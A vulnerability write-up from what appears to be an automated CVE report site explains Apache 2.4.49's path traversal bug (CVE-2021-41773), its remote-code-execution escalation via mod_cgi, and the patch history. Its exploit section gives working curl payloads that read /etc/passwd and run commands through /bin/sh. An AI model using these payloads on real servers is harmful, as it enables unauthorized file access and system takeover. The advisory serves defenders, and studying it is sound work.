CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2021-41773

CVE-2021-41773: The Path to Pwnage in Apache 2.4.49

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 25, 2026·5 min read·31 visits

Executive Summary (TL;DR)

Apache 2.4.49 introduced a path traversal vulnerability due to flawed URL normalization logic. Attackers could map URLs to files outside the web root using encoded dot segments (e.g., '.%2e'). If mod_cgi was enabled, this allowed for RCE. The vulnerability was actively exploited in the wild.

In late 2021, the Apache HTTP Server developers released version 2.4.49, intended to include a variety of optimizations and compliance updates. Ironically, in an attempt to improve path normalization (making sure URLs are clean and safe), they introduced a trivial logic error that allowed attackers to bypass directory restrictions entirely. This wasn't just a read-only vulnerability; on configurations with mod_cgi enabled, it escalated immediately to Remote Code Execution (RCE), allowing unauthenticated attackers to execute commands as the daemon user. It stands as a classic example of how C pointer arithmetic and string parsing can go horribly wrong.

The Hook: An Optimization Gone Wrong

For years, Apache HTTP Server (httpd) has been the workhorse of the internet. It's boring, reliable, and generally secure. But in version 2.4.49, the developers decided to refactor the path normalization logic—specifically the ap_normalize_path function in server/util.c. The goal was noble: improve RFC 1808 compliance and perhaps squeeze out a little more performance.

Here is the thing about parsing strings in C: it is a minefield. You are managing pointers, memory buffers, and encoding states all at once. The developers wanted to strip out path traversal sequences like ../ to ensure users couldn't break out of the web root. However, they failed to account for the order of operations when URL-decoding characters.

This vulnerability is particularly embarrassing because it affects a specific version (2.4.49) so severely that it feels like a CTF challenge rather than enterprise software. It proves that even the most mature projects can introduce catastrophic bugs when touching legacy core components.

The Flaw: A Lesson in Pointer Arithmetic

The root cause lies in how ap_normalize_path handles URL decoding. The function iterates through the URI string, looking for dot-dot-slash sequences to remove. Simultaneously, it decodes URL-encoded characters (like %2e for .).

The logic failure was subtle but fatal. The function checks for ../ sequences before fully resolving the decoded characters in the current context. When an attacker sends .%2e/ (which translates to ../), the normalization routine sees a literal dot, followed by a percent sign. It doesn't trigger the ../ removal logic because, at that exact moment in the loop, it doesn't look like a traversal sequence.

After the check passes, the function decodes %2e into a .. The result in memory becomes ../, but the security check has already moved its pointer past the beginning of the sequence. It effectively validated the disguise rather than the face behind the mask. The code essentially said, "You look like a dot and a percent sign, come on in," and then the percent sign took off its mask to reveal another dot, completing the traversal.

The Code: Breaking ap_normalize_path

Let's look at the logic flow conceptually. The vulnerable code in server/util.c was trying to collapse paths.

In a healthy state, if you send ../, the server collapses it. If you send %2e%2e/, the server decodes it to ../ and should re-scan or handle it. In 2.4.49, the loop logic was effectively:

  1. Scan character.
  2. Is it a traversal sequence? No.
  3. Is it encoded? Yes, decode it.
  4. Advance pointer.

By sending .%2e/, the first dot is literal. The %2e is decoded to a dot in place. The string becomes ../, but the loop has finished validating the position where the traversal check would have triggered. The server effectively constructs a path pointing to the parent directory and hands it off to the file handler.

This meant that /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd would successfully traverse out of the /icons/ alias (which exists by default) and climb up to the root filesystem.

The Exploit: From Traversal to RCE

Exploiting this is trivially easy, but you need a client that doesn't try to be smart. Browsers and standard curl commands will normalize the path before sending it, killing the exploit. You must use curl --path-as-is.

Level 1: Local File Inclusion (LFI) To steal /etc/passwd, we just need to find a directory that has an Alias configured (like /icons/ or /assets/) and traverse out of it.

curl -v --path-as-is "http://target.com/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

Level 2: Remote Code Execution (RCE) This is where it gets dark. If mod_cgi is enabled (common in older deployments or specific enterprise apps), we can traverse not just to a text file, but to an executable binary. By traversing to /bin/sh, we can force Apache to execute the shell.

curl -v --path-as-is "http://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
    -d "echo Content-Type: text/plain; echo; id"

If successful, the server executes /bin/sh, pipes the POST body into stdin, and returns the output of id. You are now www-data (or worse).

The Impact: Why This Matters

The CVSS score is 9.8 for a reason. This isn't a complex heap overflow requiring a specific memory layout. This is a logic bug that works 100% of the time on vulnerable configurations.

The impact is bifurcated:

  1. Information Disclosure: Attackers can read configuration files, source code, and credentials stored on the filesystem. This often leads to further compromise (e.g., finding database passwords).
  2. Remote Code Execution: With mod_cgi, the server is completely compromised. Ransomware gangs immediately added this to their toolkits because it offers a low-effort entry point into corporate networks.

What makes this terrifying is the EPSS score of nearly 95%. It is actively scanned for and exploited by bots every single day.

The Fix: A Tale of Two Patches

Apache initially released version 2.4.50 to fix this. However, in a comedic twist, the fix was incomplete. They simply checked for the .%2e sequence but failed to account for double-encoding (e.g., %%32%65). This led to CVE-2021-42013, which was effectively the exact same vulnerability, just with a slightly different payload.

The Real Solution: Upgrade to Apache 2.4.51 or later immediately. This version correctly handles path normalization by aggressively decoding and validating path segments before using them.

Mitigation Strategies: If you cannot upgrade (why?), you can use mod_rewrite to block these patterns, but that is a band-aid. The only true fix is binary replacement.

Require all denied

Ensure your <Directory /> block is set to deny all access by default. This prevents the server from serving files from root even if the traversal succeeds.

Official Patches

ApacheApache HTTP Server 2.4 vulnerabilities list

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
94.39%
Top 0% most exploited

Affected Systems

Apache HTTP Server 2.4.49

Affected Versions Detail

Product
Affected Versions
Fixed Version
Apache HTTP Server
Apache
2.4.492.4.51
AttributeDetail
CWE IDCWE-22
Attack VectorNetwork
CVSS v3.19.8 (Critical)
EPSS Score0.94391
ImpactRCE / Information Disclosure
Exploit StatusActive

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1083File and Directory Discovery
Discovery
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Known Exploits & Detection

MetasploitApache HTTP Server Path Traversal and RCE module
GitHubPython PoC for LFI and RCE

Vulnerability Timeline

Vulnerability reported to Apache
2021-09-29
Apache 2.4.50 released (flawed fix)
2021-10-04
Public disclosure and active exploitation
2021-10-05
Apache 2.4.51 released (real fix)
2021-10-07
Added to CISA KEV
2021-11-03

References & Sources

  • [1]NVD Entry for CVE-2021-41773
  • [2]CISA KEV Catalog
Related Vulnerabilities
CVE-2021-42013

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 21 hours ago•CVE-2026-58197
8.8

CVE-2026-58197: Host Escape and Lateral Movement via Insecure Container Network Defaults in ToolHive

A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.

Amit Schendel
Amit Schendel
7 views•8 min read
•about 22 hours ago•CVE-2026-63405
5.9

CVE-2026-63405: Insufficient Verification of Data Authenticity in AnyCable Pusher REST API

AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.

Amit Schendel
Amit Schendel
8 views•5 min read
•about 23 hours ago•CVE-2026-64847
6.8

CVE-2026-64847: Indefinite Denial of Service via Undrained Stderr in AnyIO Process Pool Workers

A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 24 hours ago•CVE-2026-63349
7.0

CVE-2026-63349: Privilege Dropping Bypass and Denial of Service in AnyIO Subprocess Module

CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.

Alon Barad
Alon Barad
10 views•5 min read
•1 day ago•CVE-2026-63406
5.9

CVE-2026-63406: Information Disclosure via Insecure Telemetry and Hardcoded Credentials in AnyCable-Go

CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.

Alon Barad
Alon Barad
7 views•5 min read
•1 day ago•CVE-2026-84992
6.1

CVE-2026-84992: Cross-Site Scripting (XSS) via Fenced Code Block Parsing in md-editor-v3

CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.

Amit Schendel
Amit Schendel
9 views•6 min read